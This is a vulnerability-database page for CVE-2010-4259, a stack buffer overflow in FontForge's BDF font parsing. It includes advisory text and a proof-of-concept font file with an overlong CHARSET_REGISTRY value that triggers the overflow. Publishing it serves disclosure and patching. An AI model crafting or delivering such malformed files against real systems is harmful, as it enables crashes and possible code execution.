Vulners
Lucene search
FontForge - '.BDF' Font File Stack Buffer Overflow (PoC)
| Reporter | Title | Published | Views | Family All 29 |
|---|---|---|---|---|
 | CVE-2010-4259 | 7 Dec 201001:00 | – | cve |
 | CVE-2010-4259 | 7 Dec 201001:00 | – | cvelist |
 | [SECURITY] [DSA 2253-1] fontforge security update | 3 Jun 201119:42 | – | debian |
 | CVE-2010-4259 | 7 Dec 201001:00 | – | debiancve |
 | Debian DSA-2253-1 : fontforge - buffer overflow | 10 Jun 201100:00 | – | nessus |
| Fedora 14 : fontforge-20100501-5.fc14 (2010-18573) | 14 Dec 201000:00 | – | nessus |
| Fedora 13 : fontforge-20090923-4.fc13 (2010-18577) | 14 Dec 201000:00 | – | nessus |
| GLSA-201201-08 : FontForge: User-assisted execution of arbitrary code | 24 Jan 201200:00 | – | nessus |
| RHEL 6 : fontforge (Unpatched Vulnerability) | 3 Jun 202400:00 | – | nessus |
| Linux Distros Unpatched Vulnerability : CVE-2010-4259 | 3 Mar 202500:00 | – | nessus |
10
Source: https://www.securityfocus.com/bid/45162/info
FontForge is prone to a stack-based buffer-overflow vulnerability because the application fails to properly bounds-check user-supplied data before copying it into an insufficiently sized buffer.
An attacker could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely result in denial-of-service conditions.
FontForge 0.0.20100501-2 is vulnerable; other versions may also be affected.
PoC:
STARTFONT 2.1
FONT -gnu-unifont-medium-r-normal--16-160-75-75-c-80-iso10646-1
SIZE 16 75 75
CHARSET_REGISTRY AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
FONTBOUNDINGBOX 16 16 0 -2
STARTPROPERTIES 2
FONT_ASCENT 14
FONT_DESCENT 2
ENDPROPERTIES
CHARS 1
STARTCHAR U+0041
ENCODING 65
SWIDTH 500 0
DWIDTH 8 0
BBX 8 16 0 -2
BITMAP
00
00
00
00
18
24
24
42
42
7E
42
42
42
42
00
00
ENDCHAR
ENDFONTData
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
14 Dec 2010 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 26.8
EPSS0.10853